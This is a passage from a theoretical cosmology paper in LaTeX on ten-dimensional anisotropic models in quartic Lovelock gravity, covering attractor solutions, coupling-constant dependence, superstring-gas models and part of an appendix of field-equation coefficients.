spontaneous compactification, the external one expands, a fact that
corresponds to an inflationary phase. This result indicates that the
introduction of the non-linear curvature terms into the
gravitational action may play an important role as far as the
inflation is conserned$^{26-30}$. The explicit location of the
attracting point is shown in Fig. 1b. The attractor corresponds
to the fixed point $D_2$ recognized by Ishihara$^{12}$ in the
evolution of the extended De Sitter models in GB theory.
The next step is to introduce into the problem a {\em "bare"}
cosmological constant, $\Lambda$, corresponding to the expectation
value of the vacuum energy density$^{25}$. Now, in addition to
$\kappa_2$, we also have $\kappa_0 \neq 0$, while $\kappa_3 = 0 = \kappa_4$.
When $\kappa_0 \: \in \: [0 \: , \: 1]$ the value of the cosmological
constant in physical units is $\Lambda = 2 \kappa_0 \times 10^{-48}
\: cm^{-2}$, which is quite small.
The behaviour of the model is qualitatively similar to the previous
case. Again we verify the existence of an "attractor". Both
subspaces correspond to De Sitter models. The external space
exhibits inflationary expansion, while the internal one contracts.
However, in this case, the location of the attracting point $D_2$ has
changed to higher absolute values in the evolution of $H_{ext} $ and
$H_{int}$ (Fig. 2a). We may determine explicitly the law of the
attractor's displacement in the $H_{ext}-H_{int}$ plane, caused by
variations of the cosmological constant.
In general, to determine the exact location of the attracting points
in an $H_{ext}-H_{int}$ plane, requires to set
$$
G_1(H_{ext}, H_{int}, X, Y) = 0 \eqno (3.1.1a)
$$
$$
G_2(H_{ext}, H_{int}, X, Y) = 0 \eqno (3.1.1b)
$$
In the case of flat and vacuum subspaces $(X = Y = p_{ext}
= p_{int} = 0)$, Eqs.(3.1.1) read
$$
f_1 \left ( H_{ext}, H_{int}, \kappa_m \right )
= \left [ G_{12}G_{20}-G_{22}G_{10}
\right ]_{X=Y=0} \; = \; 0
\eqno (3.1.2a)
$$
$$
f_2 \left ( H_{ext}, H_{int}, \kappa_m \right )
= \left [ G_{21}G_{10}-G_{11}G_{20}
\right ]_{X=Y=0} \; = \; 0
\eqno (3.1.2b)
$$
where $m = 0, 2, 3, 4$ and the quantities $G_{ij}$ are presented
in the Appendix A. We differentiate the functions $f_1$ and $f_2$
with respect to $H_{ext} \: , \: H_{int}$ and $\kappa_m$, to obtain
a system of first order differential equations ({\em "variational
equations"})
$$
df_1 = ({\partial f_1 \over \partial H_{ext} })_P dH_{ext}
+ ({\partial f_1 \over \partial H_{int} })_P dH_{int}
+ \sum_j ({\partial f_1 \over \partial \kappa_m })_P d \kappa_m = 0
\eqno (3.1.3a)
$$
$$
df_2 = ({\partial f_2 \over \partial H_{ext} })_P dH_{ext}
+ ({\partial f_2 \over \partial H_{int} })_P dH_{int}
+ \sum_j ({\partial f_2 \over \partial \kappa_m })_P d \kappa_m =0
\eqno (3.1.3b)
$$
The system (3.1.3) may be used, to determine the evolution of the
attracting point $D_2 \; (H_{ext}, H_{int})$, under the variation
of the normalized coupling constants $\kappa_m$. For $\kappa_2 = 1$, in
the case of vanishing $\kappa_3$ and $\kappa_4$, the evolution of the
attractor $D_2 \; (H_{ext},H_{int})$ with respect
to the variation of the cosmological constant $\kappa_0$, is given by
$$
({dH_{ext} \over d \kappa_0 }) = ({QQ_1 \over PP}) \eqno (3.1.4a)
$$
$$
({dH_{int} \over d \kappa_0 }) = ({QQ_2 \over PP}) \eqno (3.1.4b)
$$
where the functions $PP$, $QQ_1$ and $QQ_2$ are given in the
Appendix B. Subsequently, the system (3.1.4) is evaluated by
numerical integration. The corresponding results are shown in
Fig. 2b. Using least square fitting, we see that the displacement
of $D_2$ takes place along the straight line
$$
H_{int} = -0.075 H_{ext} -0.071 \eqno (3.1.5)
$$
The investigation of the behaviour of the models under consideration
by including a third order curvature term, corresponds to study them
at earlier epochs in the history of the Universe. Indeed, if we are
interested in the behaviour of the model very close to the initial
singularity, the leading terms to consider in the field equations
are those with the highest power in $\left ({1 \over t} \right )$,
i.e. those obtained from the highest order terms in the
gravitational action$^{9}$.
The time-evolution of the model is quite similar to the previous
cases. In the later stages it corresponds to an extended De Sitter
model, in which both subspaces evolve exponentially. The external
space expands, while the internal one contracts (Fig. 3a).
Again, we verify the existence of an attracting point P in the
evolution of the Hubble parameters and we investigate its behaviour
as $\kappa_3$ increases, from 0 to 1, i.e. until it becomes as
important as the quadratic term. The evolution of the attractor in
the ${\cal L}_{(3)}$-theory, with respect to the variation of
$\kappa_3$, may be obtained in a similar way as in the $\kappa_0$ case.
We differentiate the functions $f_1$ and $f_2$ with respect to
$H_{ext} \: , \: H_{int}$ and $\kappa_3$ to obtain a first order system
of differential equations which, for $\kappa_2 = 1$ and for vanishing
$\kappa_0$ and $\kappa_4$, will determine the displacement of P in the
$H_{ext}-H_{int}$ plane, under the variation of $\kappa_3$.
The corresponding results are presented in Fig. 3b. We observe
that the attractor moves to higher absolute values of $H_{int}$
as $\kappa_3$ increases. This result has a clear physical meaning.
Since increasing $\kappa_3$ corresponds to study the earlier stages
in the evolution of the Universe, we see that at these epochs
the internal space contracts at higher rates than those of the
GB theory. Then Fig. 3b verifies that at the late stages, where
the GB theory holds alone, the value of the internal Hubble
parameter decreases in order to achieve stabilization.
Again, the law of displacement of P in the $H_{ext}-H_{int}$ plane
may be estimated using {\em best-fit methods}. In this context, we
find that it may be represented by a sixth-order polynomial $H_{ext}
= p_6 (H_{int})$, with coefficients: $ a_0 = 0.7373 \: ,
a_1 = -25.594 \: , \: a_2 = -457.324 \: , \: a_3 = -3323.9 \: , \:
a_4 = -12156.9 \: , \: a_5 = -22135.2 $ and $a_6 = - 15905.6$.
Finally, to solve the cosmological field equations when all terms in
the action (2.2) are included (i.e. $\kappa_4 \neq 0 $), corresponds to
study the dynamic behaviour of the model under consideration at even
earlier epochs. The results are slightly different from those of the
previous case (Fig. 4a). Again, in the later stages, the model
consists of two De Sitter subspaces and there exists an attracting
point. The attractor's displacement in the $H_{ext}-H_{int}$ plane
is obtained in a way similar to the $\kappa_0$ and $\kappa_3$ cases and
may be represented by a third-order polynomial, $H_{int} =
p_3(H_{ext})$, with coefficients: $b_0 = 7.47 \: , \: b_1 = -34.27
\: , \: b_2 = 51.33 $ and $b_3 = -25.74$. The corresponding result
is shown in Fig. 4b.
Hence, we may conclude that in every case where non linear terms are
included, the {\em "extended"} De Sitter solution (i.e. an
exponentially expanding external space in connection to an
exponentially contracting internal one) corresponds to an
{\em "attractor"} of the dynamical system under consideration.
Accordingly, (in our model) no matter how the Universe may
originate, there is at least one period during its time-evolution
in which it exhibits inflation of the ordinary space, accompanied
by spontaneous compactification of the internal one$^{12,30}$.
\subsection*{(2) Perfect fluid models of curved subspaces}
We consider a ten-dimensional metric of the form (2.1), which now
represents a class of cosmological models with positively curved
subspaces $(k_{ext} = 1 = k_{int})$. Then, $X = R^{-1}(t)$ and
$Y = S^{-1}(t)$ and we study the time-evolution of the cosmological
models as results from the solution of the system (2.8).
The numerical analysis is carried out in the same fashion as in the
previous case of vacuum models. We consider that at the origin both
subspaces are of the same "physical size", i.e. $X_0 = Y_0$, but
they have different expansion rates, $H_0^{ext}$ and $H_0^{int}$.
As such we choose the corresponding range used in the vacuum case.
We normalize both scale functions $R(t)$ and $S(t)$ to unity, with
respect to their value at the Planck epoch. That is
$$
R(t) \rightarrow {R(t) \over R_{Pl}} \; , \; \; S(t) \rightarrow
{S(t) \over S_{Pl}}
\eqno (3.2.1)
$$
where $R_{Pl} \; = \; S_{Pl}$. As initial conditions we choose
$R_0 = 100 = S_0$.
We represent the matter filling the Universe by a closed or
heterotic superstring perfect gas, with the following equation
of state, deduced by Matsuo$^{20}$
$$
p_{ext} \: = \: {1 \over 3} \: \rho \; , \; \; \;
p_{int} \: = \: 0
\eqno (3.2.2)
$$
Thus, the external space is radiation-dominated, while the internal
one is pressureless. It has been recently shown that, in this case,
the two subspaces are completely disjoint$^{4,31}$. The
time-evolution of the total mass-energy density $\rho$ is accordingly
given by Eq.(2.7).
As regards the GB models $(\kappa_3 = 0 = \kappa_4)$, we have performed a
number of computational runs, varying the initial values of the
Hubble parameters and the coupling constant $\kappa_2$ as well, from
$\kappa_2 = 0.1$ to $\kappa_2 = 1$. Numerical results in this case
indicate that there is a considerable difference with respect to
the vacuum-flat models. It rests in the fact that the range of
values of the coupling constant $\kappa_2$ may be splitted
into two parts. Each one of these parts leads to a different
time-evolution of both the external and the internal scale functions.
The first part consists of values of $\kappa_2$ in the interval $0.1
\leq \kappa_2 \leq 0.65$, i.e. when the contribution of the quadratic
curvature terms is relatively small. In this case we expect that the
time-evolution of the Universe will be only slightly different from
the corresponding EH one. Indeed, the numerical results indicate
that the system (2.8) admits solutions with a power law dependence
of the scale functions upon time, of the form
$$
R(t) \propto t^{m_1} \eqno (3.2.3a)
$$
$$
S(t) \propto t^{-m_2} \eqno (3.2.3b)
$$
where the values of the indices $m_1$ and $m_2$ are continuously
increasing in the ranges $0.25 \leq m_1 \leq 0.55$ and $0.01
\leq m_2 \leq 0.11$, as $\kappa_2$ increases from $0.1$ to $0.65$.
In this case, there are no attracting points in the evolution of
the Universe. The last values in those ranges ($0.55$ and $0.11$,
respectively), both corresponding to the value $\kappa_2 = 0.65$,
represent a Kasner-type regime$^{12,32-34}$ of the GB models.
Indeed, the analytic approach in this case suggests that the two
subspaces evolve as
$$
R(t) \sim t^{p_1} \; , \; \; S(t) \sim t^{-p_2} \eqno (3.2.4)
$$
where both $p_1$ and $p_2$ are possitive and in a ten-dimesional
spacetime they satisfy the conditions
$$
3 p_1 - 6 p_2 = 1 \eqno (3.2.5a)
$$
$$
3 p_1^2 + 6 p_2^2 = 1 \eqno (3.2.5b)
$$
The only physically acceptable solution of the system (3.2.5),
compatible with the condition $p_1 \:, \: p_2 \; > \; 0$, is
$$
p_1 = {5 \over 9} = 0.555 \; , \; \; p_2 = {1 \over 9} = 0.111
$$
Therefore, when $\kappa_2 = 0.65$, although the spatial sections are
curved, the time-evolution of the Universe admits a Kasner-type
solution. This solution actually lies on the interface between
two different types of cosmological behaviour (Figs. 5a and 5b).
The second type of time-evolution arises when $ 0.65 < \kappa_2
\leq 1$. Then the Universe behaves, again, as an {\em extended}
De Sitter spacetime (where the external space expands while the
internal one contracts, both exponentially). In this case there
exists an attracting point as in the vacuum-flat models (Fig. 6a).
In conclusion, for a curved ten-dimensional GB cosmological model,
filled with matter in the form of a superstring perfect gas, we
may obtain three different types of cosmological behaviour,
depending on the exact value of the normalized coupling constant
$\kappa_2$: \\
{\bf (a)} Power-law solutions, with no attracting points,
when $0.1 \leq \kappa_2 < 0.65$. \\
{\bf (b)} A Kasner-type model, when $\kappa_2 = 0.65$. \\
{\bf (c)} Extended De Sitter models, with an attracting point,
when $0.65 < \kappa_2 \leq 1$. \\
In all cases, the external space expands, while the internal one
contracts. The inclusion of the contribution of the third and/or
the fourth order terms in the field equations simply amounts to a
modulation of those results (Fig. 6b).
\section*{IV. Analytic Results}
Analytic expressions, for the time-evolution of the model Universe
considered, may be obtained by solving the cosmological field
equations (2.8) around the attracting points. Accordingly, we
investigate the cosmological behaviour of a vacuum, ten-dimensional
model with spatially flat subspaces $(X = 0 = Y)$ within the context
of the quartic Lagrangian theory under consideration. Clearly,
setting some of the coupling constants $\lambda_{(m)}$ equal to zero
corresponds to reducing the general theory to its lower case
counterparts (EH-cosmology, GB-theory etc.).
Since we are interested in the behaviour of the model around the
attracting points, we consider the linearized equations
$$
H_{ext} = A_1 + H_1(t) \eqno (4.1a)
$$
$$
H_{int} = A_2 + H_2(t) \eqno (4.1b)
$$
where $A_1$ and $A_2$ are the coordinates of the attractor, while
$H_1(t)$ and $H_2(t)$ represent small perturbations around those
values $( \vert H_1 \vert \:, \: \vert H_2 \vert \; \ll \: 1)$.
Therefore, to obtain the time-evolution of $H_{ext}$ and $H_{int}$,
we only have to solve the system (2.8) linearized with respect to
$H_1$ and $H_2$.
The system of the cosmological field equations (2.8), linearized
with respect to $H_1$ and $H_2$, may be written in the form
$$
{\dot H}_1(t) = {\beta_1 H_1 + \beta_2 H_2 + \beta_3 \over \alpha_1 H_1
+ \alpha_2 H_2 + \alpha_3}
\eqno (4.2a)
$$
$$
{\dot H}_2(t) = {\gamma_1 H_1 + \gamma_2 H_2 + \gamma_3 \over \alpha_1 H_1
+ \alpha_2 H_2 + \alpha_3}
\eqno (4.2b)
$$
where $\alpha_j, \beta_j$ and $\gamma_j$ $(j = 1,2,3)$ are constants,
calculated directly from the linearization of the original
equations, which depend on $A_1 \: , \: A_2$ and $\lambda_{(m)}
\; (m = 0,1,2,3,4)$. From Eqs.(4.2) we obtain
$$
{d H_1 \over d H_2} = {\beta_1 H_1 + \beta_2 H_2
+ \beta_3 \over \gamma_1 H_1 + \gamma_2 H_2 + \gamma_3 }
\eqno (4.3)
$$
The solution of Eq.(4.3), in connection to Eqs.(4.1), will give,
in the linear approximation, the analytic expression of $H_{ext}$ in
terms of $H_{int}$. To solve Eq.(4.3), we need to have the solution
$(h_1 \: , \: h_2)$ of the algebraic
system
$$
\beta_1 H_1 + \beta_2 H_2 + \beta_3 = 0 \eqno (4.4a)
$$
$$
\gamma_1 H_1 + \gamma_2 H_2 + \gamma_3 = 0 \eqno (4.4b)
$$
We choose
$$
\gamma_1 \neq 0 \; \; , \; \; \beta_2 \gamma_1 - \beta_1 \gamma_2 \neq 0
\eqno (4.5)
$$
and furthermore, we set
$$
w = H_1 - h_1 \eqno (4.6a)
$$
$$
z = H_2 - h_2 \eqno (4.6b)
$$
We verify that the solution of Eq.(4.3) depends on several algebraic
combinations of the constants $\alpha_j \: , \: \beta_j$ and $\gamma_j$,
something that leads to several conditions between the coupling
constants $\lambda_{(m)}$. Therefore, we consider the following cases: \\
{\bf (a)} $\beta_1 + \gamma_2 \neq 0$: This combination corresponds to
the most general case. Setting
$$
\Delta = - \left [ 4 \beta_2 \gamma_1
+ \left ( \beta_1 - \gamma_2 \right )^2 \right ]
\eqno (4.7)
$$
the solution of Eq.(4.3) reads$^{35}$
$$
\ln { {1 \over c} \left [ \beta_2 z^2 + (\beta_1 - \gamma_2) z w
- \gamma_1 w^2 \right ]} \; = \;
\left \{ \begin{array}{ll}
{\beta_1 + \gamma_2 \over \sqrt {-\Delta}} \ln {{\beta_1 - \gamma_2
- \sqrt {- \Delta} - 2 \gamma_1
{w \over z} \over \beta_1 - \gamma_2 + \sqrt {- \Delta}
- 2 \gamma_1 {w \over z} }} &
\mbox{for $\Delta < 0$} \\ \\
- {2 (\beta_1 + \gamma_2) \over (\beta_1 -\gamma_2)
- 2 \gamma_1 {w \over z} } &
\mbox{for $\Delta = 0$} \\ \\
2 {\beta_1 + \gamma_2 \over \sqrt {\Delta} }
\arctan {{ (\beta_1 -\gamma_2) - 2 \gamma_1
{w \over z} \over \sqrt {\Delta}} } & \mbox{for $\Delta > 0$}
\end{array}
\right .
\eqno (4.8)
$$
where $c$ is an arbitrary integration constant.\\
{\bf (b)} $\beta_1 + \gamma_2 = 0$ and $\Delta = 0$ with $\beta_2 \gamma_1 < 0$:
In this case we may proceed to derive the explicit time-dependence
of the Hubble parameters and the corresponding scale functions for
both subspaces. From Eq.(4.8) we obtain
$$
H_2 = c_1 H_1 + c_2 \eqno (4.9)
$$
where
$$
c_1 = \sqrt {\vert {\gamma_1 \over \beta_2} \vert} \; \; , \; \; \;
c_2 = 1 + h_2 - c_1 h_1 \eqno (4.10)
$$
Now, Eq.(4.9) is inserted into Eq.(4.2a) to give
$$
{\dot H}_1 = {\delta H_1 + \epsilon \over \zeta H_1 + \eta} \eqno (4.11)
$$
where the constants $\delta \: , \: \epsilon \: , \: \zeta$ and $ \eta$ stand
for the combinations
$$
\delta = \beta_1 c_1 + \beta_2 \; \; , \; \; \epsilon = \beta_3 + \beta_1 c_2
$$
$$
\zeta = \alpha_1 c_1 + \alpha_2 \; \; , \; \; \eta = \alpha_3 + \alpha_1 c_2
\eqno (4.12)
$$
We consider the following cases: \\
{\bf (i)} $\delta \; , \; \zeta \; \neq \; 0$: In this case, Eq.(4.11)
results in
$$
{\zeta \over \delta} H_1 + {\zeta \over \delta} \left ( {\eta \over \zeta}
- {\epsilon \over \delta} \right ) \ln { \left ( H_1
+ {\epsilon \over \delta} \right ) } = t - t_0
\eqno (4.13)
$$
where $t_0$ is an integration constant. Now, Eq.(4.1a) in connection
with Eq.(4.13), may be easily integrated to give the form of $R(t)$,
when the condition
$$
{\eta \over \zeta} - {\epsilon \over \delta} = 0 \eqno (4.14)
$$
holds. Then, we obtain
$$
\ln {R(t)} \sim A_1 (t - t_0) + {\delta \over 2 \zeta} (t - t_0)^2
\eqno (4.15)
$$
which introduces a quadratic correction to the expected De Sitter
solution.
\\
{\bf (ii)} $\delta \; , \; \eta \; \neq \; 0$ and $\zeta = 0$: In this
case we rediscover the solutions of Ishihara$^{12}$, obtained in
the GB theory, as a particular case of the general solution.
Indeed, from Eq.(4.11) we obtain
$$
H_1 = C e^{ {\delta \over \eta} t} - {\epsilon \over \delta} \eqno (4.16)
$$
where $C$ is an arbitrary integration constant. Therefore the
corresponding external scale function is of the form
$$
\ln {R(t)} \sim \left ( A_1 - {\epsilon \over \delta} \right ) (t - t_0) +
C {\eta \over \delta} e^{{\delta \over \eta} (t - t_0)}
\eqno (4.17)
$$
Since the external space expands, we must have
$ A_1 \: > \: {\epsilon \over \delta}$. For $C = 0$, Eq.(4.17) reads
$$
R(t) \sim e^{( A_1 - {\epsilon \over \delta}) (t - t_0)} \eqno (4.18a)
$$
corresponding again to a De Sitter phase, while for
$ {\eta C \over \delta} \: \ll \: 1$ it yields
$$
R(t) \sim e^{(A_1 - {\epsilon \over \delta}) (t - t_0)}
\left ( 1 + C ({\eta \over \delta} )^2
e^{{\delta \over \eta} (t - t_0)} \right )
\eqno (4.18b)
$$
For $\epsilon = 0$ Eq.(4.18b) corresponds to the solution of Ishihara
(Eq.(15) of Ref. [12]) obtained in the framework of the GB theory.
\\
{\bf (iii)} $\delta = 0 \: , \: \zeta \neq 0$: Finally, in this case,
Eqs. (4.1a) and (4.11) result in
$$
\ln {R(t)} \sim \left ( A_1 - {\eta \over \zeta} \right ) (t - t_0 )
\pm {1 \over 2 \epsilon \zeta^2}
\left [ \eta^2 + 2 \epsilon \zeta (t - t_0) \right ]^{3/2}
\eqno (4.19)
$$
where, in connection with the numerical results we must have
$A_1 > {\eta \over \zeta}$.
In concluding, we see that the coupling constants $\lambda_{(m)}$
may not be arbitrary. In every case, they should satisfy certain
algebraic relations, depending on the form of the corresponding
solution around the attracting points.
Since both Eqs.(4.2) are almost of the same functional form, in
all of the preceding cases, similar functional results may be
obtained for the internal space, through the solution of Eq.(4.2b).
In this case, however, we must take into account the fact that the
numerical results indicate that the extra dimensions contract
$(A_2 < 0)$. This argument may lead to additional constraints on
the coupling constants $\lambda_{(m)}$.
\section*{V. Discussion and Conclusions}
In the present paper we have studied the time evolution of
anisotropic, ten-dimensional cosmological models in the framework of
a quartic Lovelock-Lagrangian theory of gravity$^{1,9-11}$.
The cosmological models under consideration consist of one time
direction and two homogeneous and isotropic subspaces: A
three-dimensional {\em external} space, which represents the
ordinary Universe, and a compact {\em internal} space, which
is constituted by the extra dimensions. The evolution of the
Universe depends on four free parameters. These are the
coefficients $\lambda_{(m)}$ which introduce the extra curvature terms
in the gravitational Lagrangian (m = 0, 2, 3, 4). They are to be
regarded as the coupling constants$^{3,9}$. Since we have
considered models of an already compactified internal
space$^{17}$, we accordingly examine the process of its
contraction$^{15-17,19}$.
The Universe is filled with matter in the form of an anisotropic
perfect fluid. Given an equation of state for the matter content
of each subspace, the time evolution of the Universe is completely
determined by a system of three second-order, non-linear
differential equations, consisting of the field equations $(2.4b)$
and $(2.4c)$ together with the conservation law (2.6). The initial
value field equation $(2.4a)$ corresponds to a {\em constraint}
which should be satisfied by the cosmological solutions.
As regards the energy momentum tensor, we have considered two cases:
{\bf (a)} Vacuum models, $\rho = 0$, in connection with spatially
flat subspaces and {\bf (b)} Models of an heterotic superstring gas,
with $p_{ext} = {1 \over 3} \rho$ and $p_{int} = 0$, in connection
with positively curved subspaces.
The three independent equations may be subsequently expressed in the
form of a first order system, Eqs.(2.8), involving the Hubble
parameters $H_{ext} \:, \: H_{int}$ and the corresponding scale
functions $R(t) \:, \: S(t)$ of the two factor spaces. This system
is evaluated numerically, for a wide range of initial conditions of
the form $ H_0^{ext} > 0$ and $H_0^{int} < 0$. Its solutions may be
represented by curves in the $H_{ext}-H_{int}$ plane. Those curves
correspond to the {\em "orbits"} of the dynamical system under study
and each one of them, associated with a different set of initial
conditions, represents a different type of evolution for the
Universe.
In the case of vacuum models with flat subspaces $(k_{ext} = 0
= k_{int})$, the numerical results indicate that for all values
of the coupling constants involved and also for a wide range of
initial conditions, the Universe will always end up to evolve
according to an {\em extended De Sitter solution}, i.e. an
exponentially expanding external space, accompanied by an
exponentially contracting internal one. Indeed, in this case the
Hubble parameters of both subspaces approach constant values in the
later stages. We have confirmed that those values actually represent
the {\em attracting points} of the dynamical system under
consideration$^{11-13}$. The appearence of {\em attractors}
in the solution of the cosmological field equations is very
important, since, if a spacetime is an {\em attractor} for a wide
range of initial conditions, then it may be realized asymptotically
in the later stages$^{11,13}$. Those results indicate that the
existence of the non-linear curvature terms in the gravitational
action may lead to inflation without the use of any phase
transition$^{19,27-30,36}$.
Furthermore, we have investigated the evolution of the attractors
under the variation of the normalized coupling constants $\kappa_m =
\lambda_{(m)}/\lambda_{(1)}$ $(m = 0 \: , \: 3 \:, \: 4)$. In all cases,
the attracting points are displaced at higher absolute values of
$H_{int}$ as $\kappa_m$ increases from $0$ to $1$. As regards the
variation of $\kappa_3$ and $\kappa_4$, this result has a clear physical
meaning.
In determining the cosmological behaviour of the model very close to
the initial singularity, the leading terms to consider are those
with the highest power in $({1 \over t})$, i.e. those obtained from
the highest order terms in the gravitational action$^{5,6}$.
Therefore, the increase of $\kappa_m$ $(m = 3 \: , \: 4)$ corresponds
to a more accurate study of the earlier stages in the evolution of
the Universe$^{9}$. Then, from Figs. 3b and 4b, we see that
at those epochs the internal space contracts at higher rates than
those of the GB theory. This means that in the later stages of the
time evolution, where the GB theory holds alone, the absolute value
of the internal Hubble parameter decreases, in order for the extra
space to achieve stabilization at a small physical
size$^{15-17,19,32}$.
In the vacuum case it is possible to derive the analytic dependence
of the scale functions upon time, by linearizing the field equations
around the values of $H_{ext}$ and $H_{int}$ at the attracting
points. The corresponding results indicate that the functional
form of the analytic solution depends on several algebraic
conditions between the coupling constants $\lambda_{(m)}$. Therefore,
in a Lovelock-Lagrangian theory of gravity, the coupling constants
may play an important role in determining the cosmological behaviour
of the model Universe. Nevertheless, the coefficients of each term
in the Lagrangian either should be determined experimentaly or
they should be given by some underlying foundamental theory$^{3}$.
In this context, we have rediscovered the solutions of
Ishihara$^{12}$, obtained in the framework of the GB theory, as
particular solutions of the general quartic case.
The cosmological models with matter in the form of a superstring
perfect gas, in which both subspaces are possitively curved
$(k_{ext} = 1 = k_{int})$, can be treated only numerically.
In this case, the evolution of the GB models depends additionally
on the exact value of the normalized coupling constant $\kappa_2$.
We have obtained three different types of cosmological behaviour: \\
{\bf (a)} Power-law solutions, with no attracting points,
when $0.1 \leq \kappa_2 < 0.65$. \\
{\bf (b)} A Kasner-type model, when $\kappa_2 = 0.65$. \\
{\bf (c)} Extended De Sitter models, with an attracting point,
when $0.65 < \kappa_2 \leq 1$.\\
In all cases, the external space expands, while the internal one
contracts. The inclusion of the contributions of the third and/or
the fourth order terms in the field equations, simply amounts in
a modulation of the above results (e.g. see Fig. 6b).
\\
\\
{\bf Acknowledgements:} The authors would like to express their
gratitude to Professor J. Demaret for his suggestions and his
comments on the content of this article. Furthermore, they would
like to thank Dr. A. Anastasiadis for several helpful advices on
their computer work. One of us (K. K.) would like to thank the
Greek State Scholarships Foundation for the financial support
during this work.
\section*{Appendix A}
The cosmological field equations (2.4$b$) and (2.4$c$) may be
recast inthe form of a first order system, as follows
$$
{\dot H}_{ext} = G_1 \: \left ( H_{ext}\, , \; H_{int} \, ,
\; X \, , \; Y \right )
\eqno (A.1a)
$$
$$
{\dot H}_{int} = G_2 \: \left ( H_{ext}\, , \; H_{int} \, ,
\; X \, , \; Y \right )
\eqno (A.1b)
$$
$$
{\dot X} = - \: X \: H_{ext} \eqno (A.1c)
$$
$$
{\dot Y} = - \: Y \: H_{int} \eqno (A.1d)
$$
where
$$
X^2 \; = \; {k_{ext} \over R^2} \; , \; \;
Y^2 \; = \; {k_{int} \over S^2}
\eqno (A.2)
$$
The functions $G_1$ and $G_2$ are given by the expressions
$$
G_1 = {[G_{12}(16\pi p_{int}+G_{20})-
G_{22}(16\pi p_{ext}+G_{10})] \over
[G_{11}G_{22}-G_{12}G_{21}]}
\eqno (A.3a)
$$
$$
G_2 = {[G_{21}(16\pi p_{ext}+G_{10})-
G_{11}(16\pi p_{int}+G_{20})] \over
[G_{11}G_{22}-G_{12}G_{21}]}
\eqno (A.3b)
$$
where we have set
$$
G_{10} = \lambda_0 + 2 \lambda_1 B_{10} + 24 \lambda_2 B_{20}
+ 720 \lambda_3 B_{30} + 5760 \lambda_4 B_{40}
\eqno (A.4a)
$$
$$
G_{11} = 4 \lambda_1 + 24 \lambda_2 B_{21} + 720 \lambda_3 B_{31}
+ 5760 \lambda_4 B_{41}
\eqno (A.4b)
$$
$$
G_{12} = 12 \lambda_1 + 24 \lambda_2 B_{22} + 720 \lambda_3 B_{32}
+ 5760 \lambda_4 B_{42}
\eqno (A.4c)
$$
$$
G_{20} = \lambda_0 + 2 \lambda_1 C_{10} + 24 \lambda_2 C_{20}
+ 720 \lambda_3 C_{30} + 5760 \lambda_4 C_{40}
\eqno (A.4d)
$$
$$
G_{21} = 6 \lambda_1 + 24 \lambda_2 C_{21} + 720 \lambda_3 C_{31}
+ 5760 \lambda_4 C_{41}
\eqno (A.4e)
$$
$$
G_{22} = 10 \lambda_1 + 24 \lambda_2 C_{22} + 720 \lambda_3 C_{32}
+ 5760 \lambda_4 C_{42}
\eqno (A.4f)
$$
and the quantities $B_{ij}$ and $C_{ij}$ are given by
\\
$$
B_{10} \; \; = \; \; 3 H_{ext}^2 + 21 H_{int}^2 +
12 H_{ext} H_{int} + X^2 + 15 Y^2
\eqno (A.5a)
$$
\begin{eqnarray}
B_{20} & = & 35 H_{int}^4 + 27 H_{ext}^2 H_{int}^2
+ 60 H_{ext} H_{int}^3 +
4 H_{ext}^3 H_{int} \nonumber \\
& + & 7 H_{int}^2 X^2 + 5 Y^2 \left ( 3Y^2 + X^2 \right ) \nonumber
\end{eqnarray}
$$
\hspace{-.4in}+ \; \; \; Y^2 (50 H_{int}^2 + 15 H_{ext}^2
+ 40 H_{ext} H_{int})
\eqno (A.5b)
$$
\begin{eqnarray}
B_{30} & = & 7 H_{int}^6 + 33 H_{ext}^2 H_{int}^4
+ 8 H_{ext}^3 H_{int}^3
+ 36 H_{ext} H_{int}^5 \nonumber \\
& + & 9 Y^4 \left ( H_{ext}^2 + H_{int}^2 \right )
+ 3 X^2 Y^4 + Y^6 \nonumber \\
& + & Y^2 \left ( 15 H_{int}^4 + 34 H_{ext}^2 H_{int}^2
+ 48 H_{ext} H_{int}^3 + 8 H_{ext}^3 H_{int} \right ) \nonumber
\end{eqnarray}
$$
\hspace{-.4in}+ \; \; \; 10 H_{int}^2 X^2 Y^2 + 7 H_{int}^4 X^2
+ 12 H_{ext} H_{int} Y^4
\eqno (A.5c)
$$
\begin{eqnarray}
B_{40} & = & 39 H_{ext}^2 H_{int}^6 + 12 H_{ext} H_{int}^7
+ 12 H_{ext}^3 H_{int}^5 \nonumber \\
& + & 3 H_{ext}^2 Y^6 + X^2 Y^6 \nonumber \\
& + & Y^4 \left ( 21 H_{ext}^2 H_{int}^2 + 12 H_{ext} H_{int}^3
+ 12 H_{ext}^3 H_{int} \right ) \nonumber \\
& + & Y^2 \left ( 57 H_{ext}^2 H_{int}^4 + 24 H_{ext} H_{int}^5
+ 24 H_{ext}^3 H_{int}^3 \right ) \nonumber
\end{eqnarray}
$$
+ \; \; 9 H_{int}^2 X^2 Y^4 + 15 H_{int}^4 X^2 Y^2
+ 7 H_{int}^6 X^2 \;
\eqno (A.5d)
$$
\\
$$
B_{21} \; \; = \; \; 10 H_{int}^2 + 4 H_{ext} H_{int} + 10 Y^2
\eqno (A.5e)
$$
\\
$$
B_{31} \; \; = \; \; 6 H_{int}^4 + 8 H_{ext} H_{int}^3 + 6 Y^4
$$
$$
\hspace{.4in}+ \; \; Y^2 \left ( 12 H_{int}^2
+ 8 H_{ext} H_{int} \right )
\eqno (A.5f)
$$
\\
$$
B_{41} \; \; = \; \; 2 H_{int}^6 + 12 H_{ext} H_{int}^5
$$
$$
\hspace{.4in}+ \; \; Y^4 \left ( 6 H_{int}^2
+ 12 H_{ext} H_{int} \right )
$$
$$
\hspace{.65in}+ \; \; Y^2 \left ( 6 H_{int}^4
+ 24 H_{ext} H_{int}^3 \right ) + 2 Y^6
\eqno (A.5g)
$$
\\
$$
B_{22} \; \; = \; \; 20 H_{int}^2 + 2 H_{ext}^2
+ 20 H_{ext} H_{int}
$$
$$
\hspace{-.6in}+ \; \; 2 X^2 + 20 Y^2 \eqno (A.5h)
$$
\begin{eqnarray}
B_{32} & = & 6 H_{int}^4 + 12 H_{ext}^2 H_{int}^2
+ 24 H_{ext} H_{int}^3 \nonumber \\
& + & 4 Y^2 \left ( 3 H_{int}^2 + H_{ext}^2
+ 6 H_{ext} H_{int} \right ) \nonumber
\end{eqnarray}
$$
\hspace{-.2in}+ \; \; 4 H_{int}^2 X^2
+ ( 6 Y^4 + 4 X^2 Y^2)
\eqno (A.5i)
$$
\begin{eqnarray}
B_{42} & = & 12 H_{ext} H_{int}^5 + 30 H_{ext}^2 H_{int}^4 \nonumber \\
& + & Y^4 \left ( 12 H_{ext} H_{int} + 6 H_{ext}^2 \right ) \nonumber \\
